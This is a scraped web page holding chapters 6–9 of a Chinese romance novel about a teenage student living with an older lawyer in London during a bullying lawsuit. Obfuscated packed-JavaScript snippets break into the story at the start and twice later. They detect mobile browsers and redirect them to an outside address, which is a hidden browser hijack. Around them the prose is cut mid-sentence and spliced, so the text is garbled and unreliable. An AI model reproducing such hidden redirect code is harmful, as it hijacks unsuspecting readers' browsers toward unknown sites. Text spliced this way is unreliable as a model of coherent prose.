l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15174403|165161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 街道旁,两人路过一家黑色的Tatoo店,顾思意驻足了一会儿,探头往里瞧。 “看什么,你要去纹身?”陈玦跟着停步。 顾思意点头,转头问他:“有点好奇,纹身疼吗。” “不疼。”陈玦说。 “纹的时候也不疼吗?” “不。” 顾思意没再多看纹身店,继续往前走:“你身上纹的是什么?” “树。” 顾思意:“有什么特别含义吗,是谁的名字吗?” “和人无关。”陈玦说。 “那为什么纹这个。”顾思意追问。 “……没什么意义。” 当然是有意义的,但陈玦没有告诉他。 顾思意撇嘴:“你又敷衍我……肋骨是最靠近心脏的位置,一定有什么特别的意义,真的不是你喜欢的人的名字吗?” “不是,我没有喜欢的人。”他言简意赅。 顾思意立刻抓住他的袖子:“真的吗,你没有喜欢的人吗?” “没有,”陈玦偏头,“你要是想纹的话,好好考虑清楚,很难洗掉的。” “知道了。” 他其实有考虑过把陈玦的名字纹在身上。 但顾思意考虑到和他在一起的可能性其实不是很大,倘若失败,以后还得和未来男朋友解释CJ是谁,他也只能硬着头皮说这代表自己很纯洁的意思了。于是顾思意立刻马上打消了这个失控的想法。 “你的纹身好看吗?”顾思意又问,“是黑色的吗,还是彩色的。” “没什么特殊的。”陈玦稍微不耐烦,看着他,“你到底想问什么,你要纹就去。” “我不纹,我就想看看,能不能看看。”顾思意马上说。 “纹身?” “嗯嗯。”他点头。 陈玦:“现在?” 前面就是停车场了,顾思意说:“车上?” 陈玦:“不行。”他瞥了顾思意一眼,说,“回家吧。” “好啊!哈哈。”顾思意兴奋起来了。 陈玦不知道他在乐什么,纹身而已,满大街都是,有人还长脸上,顾思意没见过吗? 一回家,顾思意就蹬掉鞋,看他脱掉风衣外套挂在衣架上,顾思意上手去拉他的衬衫下摆:“你快脱衣服。” “你急什么。”陈玦觉得这画风不对,他逮住了顾思意的手腕。 “我不是急……” 顾思意意识到自己露出了真面目,连忙收敛,不敢伸手了:“……你知道吗,我其实也想要纹一个的,但我妈妈不可能允许的。” “你妈妈是对的。”陈玦一边说,一边慢条斯理解开衬衫纽扣,他十指修长,领口缓缓敞开,约莫解了三颗左右,胸肌轮廓就完全显现出来了,他想了想干脆全解开了,一起拿去洗。 于是光裸着整个上身,皮带也抽开了,西裤裤腰松松垮垮地垂在精瘦结实的腹间,身上覆着一层薄而具备力量感的肌肉,饱满胸肌轮廓下方的肋骨就是那个黑色纹身,几根像血脉一样延展的树枝根系蔓延开来。 说实话,挺抽象的树。 有点像被感染了丧尸病毒后的前几分钟征兆。 顾思意想破天也不觉得这代表某个人,就觉得他审美独特……这也没多好看。 他推测是某种生长的意思,所以,顾思意的注意力很快就不在那团简单的纹身上了,他视线开始可疑地上下移动。 不是没见过肌肉裸//男……他以前住男生八人寝,一个寝五个篮球队猛男……但他还是…… 顾思意还是脸红了。 陈玦注意到他泛红的脸,躲闪的、羞涩的眼神,愣了一下。 他背过身去,往洗衣房走:“看完了吗,没什么特别的吧。” “挺、我觉得挺特别的……”顾思意跟上去说,眼神不由自主聚焦在他的背肌和后腰的脊柱沟上。 篮球队的五个肌肉男室友都从没给过顾思意这么大的诱惑。 他手痒:“你纹身师的手艺……很好啊,留疤了吗?”顾思意说。 陈玦:“我随便找的一家店,没留疤。” 他将衬衫丢进洗衣机,陈玦没有保养衣服的习惯,他不看洗涤标准,所有衣服丢洗衣机,不好穿了总是买新的。 “你有衣服要洗吗。”陈玦问他,“拿过来。” 顾思意说:“有的有的,我等下拿过来放洗衣机……哎?我怎么看着像有疤痕呢,你别动……” 说着他伸手要碰,但陈玦站在便池前,手本来搁在裤链上,见状将顾思意伸过来的手打开:“没留疤。” 顾思意:“哦,那我眼花了。” 陈玦扭头看他好像没有走的意思。不仅如此,顾思意眼神还垂下来了,看着不该看的部位,脸色红得像熟番茄。 陈玦观察了他两秒,侧头伸手,把顾思意推了出去:“带上门。” 6.Chapter 06 Chapter 06 又是阴沉的一天。 陈玦打开书房的灯,对顾思意说:“你可以在这里看书,我去律所一趟。” 他正系着大衣扣子,手机突然响了。陈玦看了眼来电显示,走到阳台接电话去了。 顾思意在书桌前坐下。 这是整个房子采光最好的地方,推拉门外是精心修剪的后花园,常春藤爬满了维多利亚式的红砖围墙,窗外放了个顾思意在街边买的喂食器,撒了玉米粒和面包屑,不过一星期而已,现在已经有许多鸽子飞过来了。 稍微有点臭,顾思意把窗户拉下来了了,一只鸽子惊飞起,掠过一旁打电话的陈玦的肩膀,落下一坨鸟屎。 电话那头的助理听见陈玦骂了句脏话。 房间里,书架上整齐地摆着各种法律典籍和文学书,每一本都严苛按照分类排列。 桌上的文件都收在牛皮纸袋里,上面贴着“机密”的标签。 “我等下要去趟警局,晚上可能要加班,”陈玦回来后把衣服换了,说,“到点你困了就去睡,不用等我。” “嗯嗯。”顾思意翻开书。 他知道陈玦虽然才毕业没多久,但已经是他们律所最年轻的associate。那些资深合伙人都说他前途无量。 这是昨天那个叫杰克的助理来他们家送文件时,和顾思意随口聊天的时候吐露的。 书房里很安静,只有钟表滴答的声音。 顾思意的耳机里放着白噪音,他随手翻开陈玦以前的法理学的课本,陈玦的笔记还夹在里面。 看会儿书,顾思意把衣服放进烘干机,然后整整齐齐地挂进衣柜。衣柜里的所有物品都是陈玦给他准备的,有新买的,有陈玦穿过的。 晚饭是梁叔送来的外卖,还热着。 八点,陈玦给他打了个电话:“吃饭了吗,天黑了不要出门。” “哥哥,你什么时候回来啊?”顾思意捧着手机问,“想你了。” “会比较晚,不用等我。”陈玦开着免提,低低地道。 挂了电话,在陈玦旁边整理文件的杰克出声:“Drake,你弟弟好喜欢对你撒娇,真乖,我弟弟就不行了,一天不和我吵架他就难受。” 陈玦抬首:“你听得懂普通话?你怎么知道他在撒娇。” 杰克笑着摇头:“没听懂,中文很难。我听的语气。而且他不是一天给你打五六个电话吗,我女朋友都不这么粘人。” 陈玦笑了笑没说话,顾思意是爱撒娇,他其实没觉得有什么不对,因为顾思意一直这样。 直到杰克的话提醒,他才意识到,或许确实不怎么对。 小的时候还说得通。可男孩子快十八岁了,喜欢对人撒娇,还很黏人,性格女孩气,对成年男性的肌肉好像有什么执念一样喜欢看,比较少见。 但他看顾思意对别人又挺正常的,说话一点也不娇,就正常的大男生模样。 杰克说自己和兄弟总是吵架,其实陈玦和顾思意不是不吵,顾思意喜欢反驳他,两人都喜欢并擅长说服对方,各持己见的时候,吵是没少吵,还会冷战,但顾思意很快就自己好了,回头跟他道歉然后快速和好。 陈玦看起来成熟,比他年长不少,其实是不会哄人的那个。 家里,书房。 顾思意打开笔记本电脑,继续看视频,学习英辨思维。 在牛津辩论社长达三百年的历史里,有无数名人造访,丘吉尔、肯尼迪、撒切尔夫人都曾在此进行过历史性演讲。 这里被誉为“世界最著名的言论自由平台”,每一块地板都印刻着辩论的传统。 而如此天才云集的地方,顾思意的年龄确实显著偏小。 虽然但是,他还是不能理解为什么理事会撤回让他直接进入代表队参赛的邀请。 说白了这就是歧视! 英式辩论最考验临场反应和逻辑思维。在每场比赛前十五分钟才公布辩题,选手完全没有准备时间查阅资料,全靠平时的积累和即时分析。 顾思意一遍遍研究往届世界大学辩论赛(WUDC)的视频,揣摩着冠军队伍的逻辑构建。 他的书桌上摊着工具书,笔记本上密密麻麻地记录着每一个精彩论点的逻辑链条。 以前请教陈玦时,他说过:“辩论的本质不是说服对方,而是用最严密的逻辑去拆解和重构论点。胜负不重要,重要的是思维的碰撞。即便是诡辩,只要逻辑自洽,也是辩论的艺术。” 顾思意打开TED,找了个演讲看,演讲者的口音很标准,他边听边跟读,试图模仿那种从容不迫的语调。 不知不觉,时间已经过了晚上十点。顾思意蜷在沙发上,戴着耳机,笔记本还停在演讲视频的页面。 他本来想等陈玦回来,却不知什么时候睡着了。 笔记本从膝上滑落,笔记散了一地。纸上密密麻麻地写着论点,最后一行歪歪扭扭的,显然是快睡着时写的。 伦敦的夜雨还在下,淅沥沥的,客厅灯开着,朦胧地笼罩在顾思意白皙的脸颊上。 他戴着耳机抱着靠枕,睫毛轻轻颤动,像是在做什么好梦。 钥匙转动的声音惊醒了他。陈玦站在玄关,大衣还带着雨水的潮气。 “怎么又睡在沙发?”陈玦放下公文包。 “我忘了……”顾思意揉揉眼睛,“我在等你,不知道你什么时候回来。” “害怕吗?”陈玦蹲下身,帮他捡地上散落的纸张,“这边很安全,犯罪率很低。” 顾思意摇摇头,为了更清楚地听他的声音而摘了耳机:“我知道。我就是……”他没说完,因为陈玦正看着他写满笔记的纸。 “最近有比赛?”陈玦问。 “嗯,牛津的国际辩论赛,”顾思意摘下耳机说,“不过我还在准备选拔赛,还没入社呢……” 一开始他以为自己是要代表牛津去参赛的,来了才知道没这回事,过了选拔赛也不一定能代表学校去和其他名校生较量。 “OUDC么,”陈玦把纸张整理好,“我记得他们今年的赛制改了,复赛开始会用即兴辩题。” 顾思意问:“你也参加过?剑桥学生也能参加?” 陈玦回忆道:“能参加,我大一那年去过,OUDC是块很好的试金石。”他停顿了一下,其实他不确定顾思意比赛的水平,但是能拿到牛津Offer,说明他不错,或许悲惨的人生经历也为他的文书加分了不少。 陈玦说:“网上有你比赛的视频吗,给我看看。” 顾思意啊了一声,眼神飘忽,说:“有啊……不过你还是不要看了……” 陈玦挑眉:“名次不高?” “只是亚军而已……”顾思意叹口气。 陈玦:“那确实不高。” 顾思意:“……” 顾思意一咬牙:“又不是谁都像你一样!只拿第一,我那天运气背,抽了个准备的最少的题。” 陈玦平静:“运气也是实力的一部分……好吧,其实是你是对自己要求太高了,第二名是很好的名次了,差一名你就是第一了。” 顾思意有气无力地哼哼两声。 他知道陈玦在去年的世界大学辩论赛拿了第一名。 这是什么概念?是一个几乎不可能完成的壮举。 来自全球七十多个国家、四百多支顶尖大学队伍的年度巅峰对决,每一轮都要面对最精英的辩手。能在那样的舞台上折桂,意味着陈玦的逻辑思维和临场发挥已臻化境。顾思意对很多辩手嗤之以鼻,只有对陈玦不一样,他认真钻研过陈玦的视频,知道自己比他是有差距的。 但顾思意也不觉得自己差。 就是那天比赛的时候吧,他因为熬了几个大夜,顶着黑眼圈去比赛的,脑门上还有一颗上火痘。而且那阵子他暴饮暴食了,吃得多,比这会儿胖点。 所以不想让他看那个视频。 陈玦没说好或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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当对方辩手提出“民意才是最大的正义”时,顾思意嘴角微扬:“让我引用马丁·路德·金的话,任何地方的不公正都是对任何地方正义的威胁。但如果正义仅仅建立在公众情绪之上,那根本不是正义!” 陈玦注意到,每当顾思意说到关键论点时,右手的食指和拇指都会下意识地轻轻一捻。这个小动作如此熟悉,像从镜子里照出来的一样。 最后的自由辩论环节,对方提出司法独立可能导致“法官成为新的特权阶级”。顾思意几乎是立刻就反击了,双手按在辩论台上,神色坚定无波,平时看起来很软的眼睛漂亮有神,充满攻击性:“真正的特权不在于司法独立,而在于司法独立的缺失。当法庭向公众压力低头时,谁会受害?是那些边缘群体,那些不够主流的人,那些没有话语权的人。” 陈玦本想随便看看,却有点惊异于他的思维和控场能力,最后在顾思意开始陈词时怔住。他看见那个抬起右手、食指与拇指轻捻的动作,双手撑在辩论台上,都是自己的习惯。 不止如此,顾思意反驳对手时会先露出礼貌的微笑,说“我充分理解对方的观点,但是……” 这些细节像一根根细针,扎得陈玦心里发麻。 他调出更早的一场比赛,发现顾思意连停顿的节奏都在模仿自己。甚至在引用判例时,会下意识地整理不存在的腕表—— 陈玦靠在椅背上,摘下眼镜揉了揉眉心。 他参加过的比赛不多,最出名的也就是去年那场世界大学辩论赛的决赛。有人告诉他视频在网上很火,积累了一票粉丝,大家很喜欢他,陈玦没兴趣关注。他更关注顾思意是不是把他每一场比赛都研究透了,不然怎么会连那些早期的、并不出色的表现都了如指掌。 书房里很安静,只有耳机里传来顾思意清亮的声音。 陈玦忽然想起,自己第一次参加辩论赛时,也会偷偷模仿前辈的语气和动作。 但没有人会像顾思意这样,把一个人的习惯学得如此相像。 这种感觉很奇妙。像是在看一面镜子,又像是在读一封藏了很久的信。 7.Chapter 07 Chapter 07 当晚,顾思意就搬到了阁楼。陈玦上楼时,他还趴在阁楼门边的地毯上一边听歌一边看书。 陈玦最近发现他很喜欢听歌,耳机只在和他说话的时候摘一会儿,其余时间都戴着,从来不摘。 陈玦看着他:“房间都打理好了吗?” “嗯,我都整理好了。”顾思意刚洗完澡不久,黑发微湿,脸颊泛红。 陈玦很久没上过阁楼了。 他伸手试了试楼梯的牢固程度。 木质楼梯很窄,一个转角通向阁楼,每一级台阶都被主卧的壁灯镀上一层暖黄色的光。 “你上下楼梯要小心,”他叮嘱,“不要像小时候一样,我妈骂了我很久。” 顾思意说好,会小心的。当时他的想法很独特,陈玦不喜欢和他玩,也不拿正眼看他,烦他的样子溢于言表。 顾思意不过是想展示一下自己很聪明,也想和他有话题聊天,所以,当他发现陈玦书桌上有霍金的书,他故意说要看,以表现自己和普通小朋友是不一样的,他是聪明的、喜欢看书的小孩,完全有资格和陈玦一起玩。 他命大没出事,也算是因祸得福,这之后陈玦对他明显照顾多了。但凡顾思意提的要求,不那么过分的话陈玦都会答应的。 所以顾思意入睡前,躺在阁楼床上异想天开,能不能再要挟陈玦一次。 这能管用吗?……显然不行。 玻璃上映照出顾思意的忧伤的面庞。 如果陈玦可以爱他就好了…… 就算不爱,那做一回爱也可以的。 就算不能拥有完整的一个,好歹拥有过一根。 翌日周六。 九月的伦敦,清晨六点刚过,天已亮。 切尔西区的街道上铺着一层薄雾,昨夜的雨水还没完全干透,空气里飘着牛奶面包的香气。 陈玦换上一身运动装出门跑步。他穿着深灰色的Nike卫衣,下身是一条浅灰运动长裤。晨跑时他没戴眼镜,五官轮廓清晰分明。卫衣下隐约能看出结实的肌肉线条,和通常在律所里的打扮不同。 他沿着切尔西区的住宅区慢跑,两旁都是联排别墅。 隔壁的汤普森太太正在给门前的绣球花浇水,她今年七十多岁了,有点老年痴呆,每天早上都雷打不动地要照料她的花园。 “早安,Drake。”她朝陈玦招手,“今天的天气真好。” “早安,汤普森太太。”陈玦放慢脚步,礼貌地打招呼。 他在这条街住了快两年,街坊邻居都知道他是个年轻有为的律师。 “你家里来客人了?”汤普森太太笑眯眯地问,“前几天我浇花的时候,看见一个男孩子,他年纪很小吧。” 陈玦点点头:“是我弟弟,刚来,在牛津读书。” “哦天啊,已经上大学了么?”汤普森太太说,“替我问候他。” 回家后,陈玦把卫衣脱下来擦了擦汗,准备在一楼卫生间冲个澡。 晨跑后的热度还未散去,他光裸着上身站在镜子前。 年轻男性的身材修长而结实,不是那种夸张的肌肉,但每一寸线条都锻炼得恰到好处,平薄地铺在身上。 洗手台上,手机突然震动,是张疏桐发来的短信:“陈玦,顾思意在你那里住吗?谢谢你照顾他,方便的话,给阿姨回个电话,不用告诉思意,谢谢你。” 陈玦看了眼时间,现在伦敦是早上七点四十,北京应该是下午三点左右。 他回复:“阿姨,我在,我现在不忙。” 张疏桐的电话立刻打了过来:“对不起打扰你了,陈玦。” “没事的,张阿姨。” “思意他……”张疏桐停顿了一下,“他住你家,是不是打扰你休息了?他从小就粘人,我怕他……” 陈玦听出她话里的犹豫:“阿姨想说什么?” “其实牛津的住宿条件很好的,什么都有,也很安全。”张疏桐说,“思意住校更方便学习。我不是说你那边不好,只是……”她的声音很轻,像是在斟酌措辞,“你也要工作,你是律师吧,你很忙的,我怕他给你添麻烦。我们一家,已经欠你很多了,不能再这样了。”她声音重了一点。 陈玦皱了皱眉,总觉得张疏桐话里有话,划清界限的意思很明显。 “而且他还小,”张疏桐又说,“住校能交到更多朋友。你说是不是?” “阿姨,”陈玦对电话里道,“您在担心什么?” “没有没有,”张疏桐急忙否认,“就是思意……我担心他,他如果没分寸,你可能……可能不太适应。” 陈玦没懂她到底要说什么,道:“他过几天开学,我送他回去,确保他安全。” “那就好。”张疏桐松了口气,“真是太麻烦你了,你送他回学校吧,不用很照顾他。这通电话,你不用告诉思意,我为人母亲,有一点担心他。” “理解。”挂了电话,陈玦站在浴室里思索。 张疏桐的态度让他觉得有些异样,但又说不上来哪里奇怪,他是帮过顾思意一家很多,但这是他应该做的,张疏桐以前对他表达感谢,但不会是这种态度,电话里好像怕顾思意和他接触。 他联想到顾思意有时候不合时宜的言语和举措。 不往那方面想,似乎也没什么,可只要一深思,就很容易觉察出不合常理之处。 陈玦打开花洒,温热的水流冲刷着他的身体,背部的肌理随着动作流畅地起伏,像一尊希腊雕塑。水珠成股地顺着颈线滑下,沿着手臂的线条滴落。 浴室里水汽弥漫,充斥着荷尔蒙。 上午八点半,陈玦把文件分类整理好,案子不少,除了那个校园暴力的法援案,还有几个商业诉讼。 十点,熬夜到凌晨三点的顾思意起床了。 “哥哥早上好。”顾思意揉着眼睛走下楼,头发因为刚睡醒而有点凌乱,额前刘海温顺地贴着额头。 他穿了一件陈玦给他买的白色睡衣,柔软的棉质面料衬得他整个人都白皙干净。 陈玦穿着灰色丝绸的居家服,宽松的款式露出锁骨和一截胸膛,正在烤面包片。 顾思意坐下,接过陈玦递来的烤吐司,闻了闻,再试探地咬一口,有点焦了,但这东西至少能吃。 陈玦是料理白痴,这点从小到大都没变过。第一次吃陈玦做的菜,顾思意几乎 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“我很长,谢谢,别咒我。”陈玦额头青筋一跳,“这也不是你该操心的。” 顾思意刚想问有多长,门铃就响了,是菲律宾家政玛拉,笑着地跟他们打了招呼。 陈玦特意叮嘱她再清理一下阁楼。 “要出去玩吗?”陈玦问顾思意。 难得的周六,他今天没有工作安排:“你第一次来伦敦。” “其实小时候来过,”顾思意回忆道,“和妈妈一起来的,那会儿太小了,记不太清了。”他歪着头想了想,“不过现在想重新看看。和你一起,体验是不一样。”他眼神里有些东西藏不住的溢出来。 “先去换衣服,我让梁叔准备车。”陈玦说,“外面可能会凉,穿风衣。” 顾思意点头,从衣柜里把陈玦前几天给他买的衣服提了出来:“你觉得我穿哪件更好看?” 陈玦扫了一眼,都挺好看,不过他没有模棱两可,说:“驼色吧。” 临近中午,他们坐船游览泰晤士河,古老的伦敦塔桥在阳光下熠熠生辉,顾思意不自拍,拿着卡片机拍陈玦,陈玦低头在回工作消息,没抬头:“又拍我拍我给谁看?” 顾思意:“做成相册送给你,可以对我笑一下吗?” 陈玦没接声,他不喜欢拍照,过了一会儿工作消息暂时告一段落,他收了手机,顾思意又对着他拍了两张,看看照片,又看陈玦,说:“侧脸和正脸都这么帅,还好你不是明星。” 陈玦没说什么。 船上人不多,大多是观光的游客。临近他们的一对同性情侣正在拍照,其中一个金发男生将手搭在伴侣肩上,笑得幸福。 “英国真的好多Gay。”顾思意这会儿没戴耳机听歌,晃着腿说,“国内没有这么多。” 陈玦侧过头看他一眼。他没接话,指着岸边的建筑:“那边就是白金汉宫,这么爱拍照怎么不拍了。” 但顾思意的注意力似乎还在那对情侣身上而没有回来,陈玦突然发问:“你喜欢男生?” 8.Chapter 08 Chapter 08 “什么?”顾思意吓了一跳,赶紧摇头,“不是我只是……”他还算镇定地解释,“我昨晚看了个同性婚姻合法化的辩论视频!里面提到英国这边的情况,说英国是基佬遍地,异性恋很难找对象,我就有点好奇……” “什么辩论?”陈玦眼微微一眯。 “波兰那边一个学校上学期的一场院内赛,”顾思意吞了下口水,说,“辩题是《同性婚姻合法化是否会导致传统家庭价值观的崩塌》,讨论合法化。你没看过吗,他们的论证很有意思。” 陈玦:“你不是第一次关注,说实话。” 顾思意:“……我有个朋友是Gay。”他知道陈玦聪明,也知道自己露马脚太多,顾思意只能找个理由,“好朋友,他之前追我,我们关系太好了所以想挽回一下……当然了我不是Gay,我也不喜欢他,你不用担心我。” 陈玦盯着他:“你最好是。” 顾思意面不改色:“哈哈……我当然是。” 陈玦观察了一会儿顾思意的表情。 思意白皙的脸上一派无辜。 “少看乱七八糟的视频。”陈玦觉得顾思意如果关注太多了,搞不好真会性取向变化,“别找刺激。” “可是这也是很重要的社会议题啊。”顾思意心冷,扭开头,“万一我们学校也出相同的题呢?是吧,又不是没出过,我总得有所准备。” 陈玦没说话,眼神从他身上收回,落在了灰蓝色的河面上。 见他不言,顾思意也闭嘴了。 他悄悄瞥了眼陈玦的侧脸,薄薄的日光给这张年轻英俊的轮廓笼罩一层柔和的光晕,侧脸鼻梁很挺,不是一根线的笔直,鼻尖竟然是微微上翘的,有种说不出的性感。 顾思意从来没有见亚洲人鼻子能长这样,他有点出神,陈玦今天出来时穿了件黑色的半高领毛衣,喉结刚好露出来,非常突出。 顾思意手指动了动。 可他看得见,陈玦的态度……几乎很明确了。 他就差没把“基佬都离老子远点”写脸上了。 周末两天,陈玦带顾思意到处转了转。 温莎古堡的水晶吊灯让顾思意惊叹不已,修剪整齐的皇家花园里,他们漫步在秋日的阴郁光线下,拍了不少照片,顾思意让路人帮他们拍了一些合影,他抱着陈玦的胳膊,但陈玦大概是不自在,照片里头是别开的,没看镜头,也没看顾思意。 第二天傍晚时分,他们又去了伦敦眼,坐在透明的舱室里俯瞰整个城市。 - 周一早晨。陈玦换上黑色定制西装,系好领带抵达律所。 早十点,他拨通了赫登大学校医室的电话,预约下午的会面。 十五层的落地窗前,一个身材高大、西装革履的年轻男人正低头望着楼下。 “那是哪位律师?”他随口问道。声音低沉悦耳,带着一点美式口音。 站在他身边的合伙人史蒂芬笑着解释:“Drake·Chen,中国人。那辆车是他自己的,宾利,比我开的还贵。”他指了指自己手腕上的表,示意陈玦的,“他那块百达翡丽5711,一百万镑起步,他家在中国似乎很有背景。” 男人挑了挑眉:“带案子进来的?” 这是Gordon Kim,刚从纽约来的新任合伙人。他有着美韩混血特有的英俊面容,高挺的鼻梁和深邃的轮廓,一米九的身高更是让他在律所里鹤立鸡群。 “不是。Chen是今年剑桥LCP毕业的,非常出色,”史蒂芬继续说,“去年实习的时候就帮律所拿下了好几个大案子。你知道丹尼斯的那个破产重组案吗?就是他负责的pre-litigation。” Gordon目光收回:“很年轻。” “是啊,但是潜力无限,”史蒂芬说,“上个月他一个人搞定了米尔顿团队的并购案,菲利普让他一个人做完了,然后被他挤走了,彼得都说要提前让他做partner。” Gordon转身走向办公室,高定西装下是运动员般完美的身材比例。路过的女律师们纷纷红着脸打招呼,但他只是礼貌地点头,目不斜视地走向自己的办公室。 “对了,”一旁的史蒂芬又补充道,“他现在在做一个pro bono(拉丁语:为公众利益)的案子,好像是校园暴力。” “Pro bono?”Gordon停下脚步,“很少见啊。” - 陈玦和杰克坐在车后座,梁叔开车驶向牛津郡。 杰克是个年轻的英国律师,黑发灰眼,戴着黑框眼镜,正在翻看案件资料。 他们要去的学校是赫登大学,正好坐落在牛津郡郊外,虽然国际声誉一般,但本地口碑不错。 “这是亚伦的社交账号记录,”杰克说,“从去年开始,他的推特和INS就很少更新了,是遭受霸凌后的应激反应。” 陈玦点点头:“那几个人呢?” “我查到了他们的社交账号,私密群组需要时间破解,”杰克递给他一份截图,“你看这个,去年12月,其中一个人在推特上发过一条阴阳怪气的推文,说‘某些黄皮就该滚回自己国家’。” 陈玦接过平板:“公证了吗?” “公证了,我们去校医室见谁?”杰克问。 “Dr. Wilson,我约好了。她在校医室工作十五年了,如果这些人之前有类似行为,她应该知道。” 杰克:“我担心……如果校医被布朗家收买了呢?” 陈玦看了他一眼:“我没钱吗?” 陈玦这两天都很忙。 所以顾思意几乎在家待了一整天没出去过,除了学习就是学习。上午他和菲佣玛拉随口聊了几句,还拐弯抹角问了陈玦家里有没有来过什么异性。 玛拉说:“陈律师这两年都是一个人,他好像没有女朋友,也很少有朋友来家里,或许只是我没看见,你没来之前,他其实也不怎么在家。” 顾思意松了口气,但难免去想他都有什么朋友,不在家是因为在公司加班?在上课?那社交呢? 傍晚,切尔西区静悄悄的。 黑色路虎停在街角阴影里,马克·布朗放下相机,手指划过屏幕上顾思意的照片。 前不久初步聆讯后,校园霸凌案的嫌疑犯三人对律师陈玦怀恨在心,背地调查了他。今天直接上门,打算翻进去查他的案宗的,没想到家里有人。 副驾驶的男生摇下车窗,打量着那栋建筑:“快走吧,这边应该有监控,马克,我们这周三还要出庭,现在被拍到就完了……” 街道上空无一人,暮色四合。 一楼的灯亮着,隐约能看见一个亚裔男生在书桌前看书的剪影。 马克盯着那个方向,声音阴冷:“那边那户叫汤普森,那老太太是老年痴呆,放心吧,她家监控坏很久了。”他捏紧了拳头,“等着吧,那个该死的律师,有他好看的!” 翌日六点,陈玦和顾思意一起出门跑步,清晨的空气里裹着薄雾。 顾思意穿着陈玦给他买的蓝色运动外套,跟在他身后慢跑。 “早安,汤普森太太。顾思意朝正在浇花的老太太招手。 “噢,早安亲爱的。”汤普森太太笑眯眯地说,“你们俩一起跑步吗?Drake很少带人一起跑的,除了你,我只看见他带温妮一起跑步。” 顾思意马上扭头盯着陈玦。 “最近作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191805|165161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息正常了。”陈玦对邻居说。他今天穿了件黑色T恤,下身是浅灰的卫裤,双腿修长。 “Drake还是很晚睡吧?”汤普森太太眯着眼睛看他,“我晚上经常看见你书房的灯亮着。” “工作比较忙。”陈玦说。 一旁的顾思意什么都听不进去了,目光一直锁着他。 “年轻人要注意身体。”汤普森太太叹了口气,“对了,最近要小心点,昨晚我看见……”她皱着眉,似乎在努力回忆什么。 “看见什么了?”陈玦问。 汤普森太太摇摇头:“哦,忘记了……”她转身去看她的绣球花,“今年开得真好。” 街角,顾思意停下脚步,拉住他衣服:“陈玦,温妮是谁啊。” “不认识。”陈玦继续跑。 顾思意大步追上去,有些气喘:“听起来是个女生,你之前的女朋友吗……” “不是。” 顾思意表情紧张,合理推断:“你有带过女生回家吗,她是不是记错了名字,但记得你带女生一起跑步?我们家里有两个Jelly cat的玩具,不像是你会买的东西,是哪个女生带过来的吗?还是男生?你前女友吗?!你前女友叫温妮?英国人吗?” 陈玦扭头,看见他一脸的忧心忡忡。 陈玦在树荫下站定了一两秒,表情有点烦:“顾思意,你是我爸派过来的间谍?他给你钱吗?” 顾思意鼓起脸:“不是……我和你爸没那么熟。” 陈玦没说话,神色冷淡,继续跑步。顾思意贴着他后背小跑:“你别生气啊,我再问一下,Jelly cat是你买的吗?”主要家里的Jelly cat还是俩大茄子,由不得顾思意不多想。 所以他问了好几声:“是别人送的吗,谁会送你大茄子啊,她怎么知道你大?你是穿紧身裤了还是给人看光了?” 陈玦受不了了:“有完没完。” 他脖颈微湿,汗水透出了T恤后背。 顾思意眼巴巴的:“不能说吗?” 陈玦简直无可奈何,意识到不解答他的疑问,他会一直打破砂锅问到底的,所以回答了:“玩偶是附近邻居小朋友找我踢球赢来的,他们经常在湖边那一块儿活动,你也可能会遇见他们。” “哦……这样啊,”顾思意放下了一半的心,“所以温妮到底是谁啊?” “顾思意。”陈玦忽然停下脚步,顾思意一头撞在了他的后颈,一抬头,鼻尖触碰到陈玦因为出汗而湿润的皮肤。 顾思意轻轻地吸了口气,嘴唇干燥地抿起。 陈玦微微喘气,汗湿的布料下肌肉经络都在鼓动,他伸手,指着附近一间房子:“他们家养了一只叫温妮的腊肠,经常和主人一起夜跑,汤普森太太有老年痴呆,她记错了。” 顾思意顺着望过去,一片绿篱笆,他眼睛一弯:“所以温妮是狗,没有这个人,也没有前女友对吧,那太好了!” 陈玦回过头:“哪里好?” 顾思意笑眯眯的,气息顷刻间软下来:“你如果有对象,我就有了个嫂子,你家里我就不好意思来了,我在伦敦有免费房子住,立省两万,这怎么不好?” 陈玦没觉得哪好。他也不觉得顾思意是因为省钱了才这样。 他控制自己不要深究。 但很难……陈玦思虑增生,跑得快了些,他腿长,顾思意有些追不上了,但还是很努力地追上他,然后伸手抓住他的衣服,气息上下不接地道:“我岔气了,你别那么快,等等我会怎么样?” 陈玦没有办法,停下来了,把水杯给他拧开递到唇边。 顾思意朝他笑得灿烂,脸上有晶莹的汗珠流淌。 陈玦别开了目光。 9.Chapter 09 Chapter 09 周三。 伦敦高等法院重新开庭,继续审理亚伦案。 陈玦整理着公文包文件,正准备出门,顾思意凑过来:“今天你开庭,我能去旁听吗?” “不行,”陈玦想都没想,干脆地拒绝了,“这个案子你不要参与,也不要出现在法院。” 顾思意闻言道:“那……我要去市中心买东西,你能顺路送我一下吗?” 陈玦答应了。临近中午,顾思意买完东西后,逛了会儿街,看了看古董,捡漏了一袋没人要的人民币,最后还是决定去法院附近转转。等陈玦下班和他一起去吃火锅。 陈玦拒绝他旁听,意思很显然,这案子没有看起来那么简单,不是什么校园暴力案,很可能更糟糕。至于糟糕到什么程度,顾思意也有些猜测。 但顾思意刚到Old Bailey附近,这时,他远远看到陈玦的助理杰克急匆匆地从街对面走过来,怀里抱着一个文件袋,神情紧张。 顾思意刚想叫他,却突然发现身后有辆摩托车高速驶来,直冲杰克的方向。 “……杰克!”顾思意猛地喊了一声。 